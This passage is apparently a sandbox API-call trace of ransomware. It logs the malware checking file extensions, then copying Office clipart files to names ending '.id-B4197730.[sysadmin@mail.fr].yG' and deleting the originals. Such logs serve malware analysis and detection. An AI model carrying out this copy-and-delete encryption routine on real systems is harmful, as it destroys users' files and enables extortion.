	[0168.143] lstrlenW (lpString=".zip") returned 4
	[0168.143] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.143] lstrlenW (lpString=".rar") returned 4
	[0168.143] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.143] lstrlenW (lpString=".bz2") returned 4
	[0168.143] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.143] lstrlenW (lpString=".7z") returned 3
	[0168.143] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68
	[0168.143] lstrlenW (lpString=".dbf") returned 4
	[0168.143] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68
	[0168.143] lstrlenW (lpString=".1cd") returned 4
	[0168.143] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68
	[0168.143] lstrlenW (lpString=".jpg") returned 4
	[0168.143] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.144] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=11720) returned 1
	[0168.144] CloseHandle (hObject=0x388) returned 1
	[0168.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf")) returned 0x220
	[0168.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0168.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0168.145] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.146] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0168.147] GetLastError () returned 0x0
	[0168.147] ReadFile (in: hFile=0x388, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x2dc8, lpOverlapped=0x0) returned 1
	[0168.150] WriteFile (in: hFile=0x360, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x2dd0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x2dd0, lpOverlapped=0x0) returned 1
	[0168.152] ReadFile (in: hFile=0x388, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.152] WriteFile (in: hFile=0x360, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0168.152] SetEndOfFile (hFile=0x360) returned 1
	[0168.152] CloseHandle (hObject=0x360) returned 1
	[0168.153] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.153] SetEndOfFile (hFile=0x388) returned 1
	[0168.156] CloseHandle (hObject=0x388) returned 1
	[0168.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0168.157] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf")) returned 1
	[0168.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68
	[0168.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68
	[0168.159] lstrlenW (lpString=".doc") returned 4
	[0168.159] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.159] lstrlenW (lpString=".docx") returned 5
	[0168.159] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0168.159] lstrlenW (lpString=".pdf") returned 4
	[0168.160] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.160] lstrlenW (lpString=".xls") returned 4
	[0168.160] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.160] lstrlenW (lpString=".xlsx") returned 5
	[0168.160] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0168.160] lstrlenW (lpString=".ppt") returned 4
	[0168.160] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68
	[0168.160] lstrlenW (lpString=".zip") returned 4
	[0168.160] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.160] lstrlenW (lpString=".rar") returned 4
	[0168.160] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.160] lstrlenW (lpString=".bz2") returned 4
	[0168.160] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.160] lstrlenW (lpString=".7z") returned 3
	[0168.160] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68
	[0168.160] lstrlenW (lpString=".dbf") returned 4
	[0168.160] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68
	[0168.160] lstrlenW (lpString=".1cd") returned 4
	[0168.160] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68
	[0168.161] lstrlenW (lpString=".jpg") returned 4
	[0168.161] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.162] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=4612) returned 1
	[0168.162] CloseHandle (hObject=0x388) returned 1
	[0168.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf")) returned 0x220
	[0168.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0168.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0168.164] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.164] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0168.165] GetLastError () returned 0x0
	[0168.165] ReadFile (in: hFile=0x388, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x1204, lpOverlapped=0x0) returned 1
	[0168.200] WriteFile (in: hFile=0x360, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x1210, lpOverlapped=0x0) returned 1
	[0168.202] ReadFile (in: hFile=0x388, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.202] WriteFile (in: hFile=0x360, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0168.202] SetEndOfFile (hFile=0x360) returned 1
	[0168.202] CloseHandle (hObject=0x360) returned 1
	[0168.202] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.202] SetEndOfFile (hFile=0x388) returned 1
	[0168.206] CloseHandle (hObject=0x388) returned 1
	[0168.206] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0168.207] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf")) returned 1
	[0168.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68
	[0168.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68
	[0168.208] lstrlenW (lpString=".doc") returned 4
	[0168.208] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.208] lstrlenW (lpString=".docx") returned 5
	[0168.208] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0168.209] lstrlenW (lpString=".pdf") returned 4
	[0168.209] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.209] lstrlenW (lpString=".xls") returned 4
	[0168.209] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.209] lstrlenW (lpString=".xlsx") returned 5
	[0168.209] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0168.209] lstrlenW (lpString=".ppt") returned 4
	[0168.209] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68
	[0168.209] lstrlenW (lpString=".zip") returned 4
	[0168.210] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.210] lstrlenW (lpString=".rar") returned 4
	[0168.210] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.210] lstrlenW (lpString=".bz2") returned 4
	[0168.210] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.210] lstrlenW (lpString=".7z") returned 3
	[0168.210] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68
	[0168.210] lstrlenW (lpString=".dbf") returned 4
	[0168.210] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68
	[0168.210] lstrlenW (lpString=".1cd") returned 4
	[0168.210] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68
	[0168.210] lstrlenW (lpString=".jpg") returned 4
	[0168.210] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.211] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=10060) returned 1
	[0168.211] CloseHandle (hObject=0x388) returned 1
	[0168.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf")) returned 0x220
	[0168.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0168.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0168.212] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.212] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0168.213] GetLastError () returned 0x0
	[0168.213] ReadFile (in: hFile=0x388, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x274c, lpOverlapped=0x0) returned 1
	[0168.275] WriteFile (in: hFile=0x360, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x2750, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x2750, lpOverlapped=0x0) returned 1
	[0168.276] ReadFile (in: hFile=0x388, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.276] WriteFile (in: hFile=0x360, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0168.277] SetEndOfFile (hFile=0x360) returned 1
	[0168.277] CloseHandle (hObject=0x360) returned 1
	[0168.277] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.277] SetEndOfFile (hFile=0x388) returned 1
	[0168.281] CloseHandle (hObject=0x388) returned 1
	[0168.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0168.282] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf")) returned 1
	[0168.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68
	[0168.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68
	[0168.283] lstrlenW (lpString=".doc") returned 4
	[0168.283] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.284] lstrlenW (lpString=".docx") returned 5
	[0168.284] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0168.284] lstrlenW (lpString=".pdf") returned 4
	[0168.284] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.284] lstrlenW (lpString=".xls") returned 4
	[0168.284] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.284] lstrlenW (lpString=".xlsx") returned 5
	[0168.284] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0168.284] lstrlenW (lpString=".ppt") returned 4
	[0168.284] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68
	[0168.284] lstrlenW (lpString=".zip") returned 4
	[0168.284] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.284] lstrlenW (lpString=".rar") returned 4
	[0168.284] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.284] lstrlenW (lpString=".bz2") returned 4
	[0168.284] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.284] lstrlenW (lpString=".7z") returned 3
	[0168.284] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68
	[0168.284] lstrlenW (lpString=".dbf") returned 4
	[0168.285] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68
	[0168.285] lstrlenW (lpString=".1cd") returned 4
	[0168.285] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68
	[0168.285] lstrlenW (lpString=".jpg") returned 4
	[0168.285] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.285] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=5812) returned 1
	[0168.285] CloseHandle (hObject=0x388) returned 1
	[0168.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf")) returned 0x220
	[0168.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0168.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0168.287] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.287] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0168.288] GetLastError () returned 0x0
	[0168.288] ReadFile (in: hFile=0x388, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x16b4, lpOverlapped=0x0) returned 1
	[0168.291] WriteFile (in: hFile=0x360, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x16c0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x16c0, lpOverlapped=0x0) returned 1
	[0168.294] ReadFile (in: hFile=0x388, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.294] WriteFile (in: hFile=0x360, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0168.294] SetEndOfFile (hFile=0x360) returned 1
	[0168.295] CloseHandle (hObject=0x360) returned 1
	[0168.295] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.295] SetEndOfFile (hFile=0x388) returned 1
	[0168.298] CloseHandle (hObject=0x388) returned 1
	[0168.299] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0168.299] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf")) returned 1
	[0168.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68
	[0168.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68
	[0168.302] lstrlenW (lpString=".doc") returned 4
	[0168.302] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.302] lstrlenW (lpString=".docx") returned 5
	[0168.302] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0168.302] lstrlenW (lpString=".pdf") returned 4
	[0168.302] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.302] lstrlenW (lpString=".xls") returned 4
	[0168.303] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.303] lstrlenW (lpString=".xlsx") returned 5
	[0168.303] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0168.303] lstrlenW (lpString=".ppt") returned 4
	[0168.303] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68
	[0168.303] lstrlenW (lpString=".zip") returned 4
	[0168.303] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.303] lstrlenW (lpString=".rar") returned 4
	[0168.303] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.303] lstrlenW (lpString=".bz2") returned 4
	[0168.303] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.303] lstrlenW (lpString=".7z") returned 3
	[0168.303] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68
	[0168.304] lstrlenW (lpString=".dbf") returned 4
	[0168.304] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68
	[0168.304] lstrlenW (lpString=".1cd") returned 4
	[0168.304] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68
	[0168.304] lstrlenW (lpString=".jpg") returned 4
	[0168.304] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.305] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=23548) returned 1
	[0168.305] CloseHandle (hObject=0x388) returned 1
	[0168.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf")) returned 0x220
	[0168.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0168.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0168.307] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
